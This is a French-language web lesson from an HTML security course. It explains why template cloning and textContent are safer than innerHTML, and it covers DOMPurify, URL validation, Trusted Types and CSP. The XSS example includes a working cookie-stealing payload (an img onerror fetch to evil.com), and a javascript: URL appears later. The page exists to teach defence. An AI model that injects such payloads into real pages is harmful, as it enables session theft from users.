Modèles ou `innerHTML` : sécurité
Comprenez pourquoi les modèles sont plus sûrs que la définition de `innerHTML`.
Modèles ou `innerHTML` : sécurité est une leçon HTML Academy gratuite sur CoddyKit. Ceci est la leçon 4 sur 4. Tu peux lire la leçon complète ci-dessous gratuitement — puis la pratiquer en direct dans le navigateur avec un éditeur de code intégré et un tuteur IA 24/7. Elle fait partie du parcours d'apprentissage HTML Academy, et ta progression se synchronise sur le web et l'application CoddyKit. Le cours HTML Academy comprend 4 leçons au total.
Risque d'injection via innerHTML
L'affectation de el.innerHTML = userInput analyse la chaîne comme du HTML. Si userInput contient <script> ou des gestionnaires d'événements comme onerror, le navigateur les exécute, ce qui crée une vulnérabilité de type Cross-Site Scripting (XSS).
Exemple de XSS via innerHTML
Un attaquant envoie un nom d'utilisateur : <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. Si ce contenu est rendu avec innerHTML, l'événement onerror se déclenche et exfiltre le cookie de session. Le contenu textuel devient du code exécutable.
textContent est sûr
el.textContent = userInput traite la chaîne comme du texte brut : aucune analyse HTML ni exécution de script. Le navigateur échappe automatiquement les caractères < et > dans les nœuds de texte. Utilisez toujours textContent pour les valeurs fournies par l'utilisateur.
// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;L'élément template évite l'analyse de chaînes
Avec template.cloneNode(true), la structure provient d'un modèle HTML préalablement analysé, et non d'une chaîne fournie par l'utilisateur. Le fait de définir les valeurs via textContent sur les nœuds clonés conserve les données utilisateur dans des nœuds de texte, jamais dans du HTML analysé. La structure et les données sont séparées.
Assainissement lorsque innerHTML est nécessaire
Si une mise en forme HTML fournie par les utilisateurs est nécessaire (texte enrichi), assainissez-la avant de définir innerHTML. DOMPurify est la bibliothèque de référence : el.innerHTML = DOMPurify.sanitize(richHtml). Elle supprime les balises et attributs dangereux tout en préservant la mise en forme sûre.
Risque lié à insertAdjacentHTML
insertAdjacentHTML("beforeend", html) analyse également les chaînes HTML : le risque XSS est le même qu'avec innerHTML. Appliquez les mêmes règles d'assainissement. L'alternative plus sûre consiste à créer des éléments avec createElement, à définir leur textContent, puis à utiliser appendChild.
Sécurité de setAttribute
Définir des attributs avec des données utilisateur peut créer une injection : el.setAttribute("href", userUrl) où userUrl vaut javascript:alert(1) crée une vulnérabilité XSS. Validez les schémas d'URL : n'autorisez que http:, https: et mailto: avant de définir les attributs href ou src.
Détournement du DOM
Le détournement du DOM est une attaque dans laquelle des éléments de formulaire nommés (id="getElementById") remplacent des variables JavaScript globales. Accédez toujours aux éléments via document.getElementById() plutôt que par les propriétés globales de window. La Content Security Policy contribue également à atténuer les attaques par détournement.
Politique Trusted Types
Trusted Types (Chrome, imposé via CSP) exige que innerHTML, insertAdjacentHTML et les points d'injection similaires reçoivent des chaînes enveloppées par une politique. Les chaînes brutes ne peuvent pas être affectées : seules les valeurs créées par une politique TrustedTypes déclarée sont autorisées. Cela empêche de contourner accidentellement l'assainissement.
Sécurité de DocumentFragment
La création d'éléments avec l'API DOM (createElement, createTextNode) et leur manipulation dans un DocumentFragment est intrinsèquement sûre contre les XSS : le texte reste toujours du texte et n'est jamais analysé comme du HTML. Les DocumentFragments constituent la manière la plus sûre de construire des interfaces dynamiques complexes.
Content Security Policy
Une CSP stricte (sans unsafe-inline et avec des scripts fondés sur des nonces) constitue une défense en profondeur contre les XSS. Même si un attaquant injecte du HTML, la CSP empêche les scripts injectés de s'exécuter. La CSP ne dispense pas de l'assainissement : c'est un filet de sécurité, et non une défense principale.
Vérification des connaissances
Pourquoi textContent est-il plus sûr que innerHTML pour afficher des données fournies par l'utilisateur ?
Résumé
innerHTML et les API associées analysent les chaînes HTML, ce qui crée des vulnérabilités XSS lorsque des données utilisateur sont interpolées sans assainissement. L'utilisation de textContent, du clonage de templates avec remplissage via textContent, de DOMPurify pour le texte enrichi et de Content Security Policy crée une défense en couches contre les attaques par injection HTML.
Apprends HTML avec un tuteur IA — gratuit
Écris et exécute du vrai code dans ton navigateur, obtiens de l'aide instantanée d'un tuteur IA disponible 24h/24, et reprends là où tu t'es arrêté sur le web ou dans l'app.
- Cours
- 40
- Leçons
- 159
Questions Fréquemment Posées
La leçon « Modèles ou `innerHTML` : sécurité » est-elle gratuite ?
Oui — le texte complet de « Modèles ou `innerHTML` : sécurité » est gratuit à lire ici sur le web. Pour la pratiquer de manière interactive (un éditeur de code intégré et un tuteur IA 24/7) et déverrouiller le reste du cours HTML Academy, passe à CoddyKit PRO. Le cours HTML Academy comprend 4 leçons au total.
Qu'est-ce que j'apprendrai dans « Modèles ou `innerHTML` : sécurité » ?
Comprenez pourquoi les modèles sont plus sûrs que la définition de `innerHTML`. Tu pratiques HTML Academy avec du code pratique que tu exécutes directement dans le navigateur, et un tuteur IA 24/7 répond à tes questions au fur et à mesure que tu avances dans la leçon.
Dois-je avoir de l'expérience pour commencer HTML Academy ?
Aucune expérience préalable n'est requise. HTML Academy sur CoddyKit est structuré pour les débutants jusqu'aux apprenants avancés, donc tu peux commencer ici ou depuis le début et avancer à ton rythme. Ceci est la leçon 4 sur 4.
Combien de temps prend la leçon « Modèles ou `innerHTML` : sécurité » ?
La plupart des leçons CoddyKit prennent environ 5–10 minutes. Chacune est courte et interactive, tu progresses régulièrement et tu repiques exactement où tu t'es arrêté sur le web et l'app.
Peux-tu écrire et exécuter du code dans cette leçon HTML Academy ?
Oui. Chaque leçon HTML Academy inclut un éditeur de code intégré, tu écris et exécutes du vrai code directement dans ton navigateur et tu reçois des retours IA instantanés — aucune configuration locale requise.
Toutes les leçons de ce cours
- L’élément `template` : contenu inerte
- Cloner des modèles avec `cloneNode`
- Utiliser `template` pour le rendu JavaScript
- Modèles ou `innerHTML` : sécurité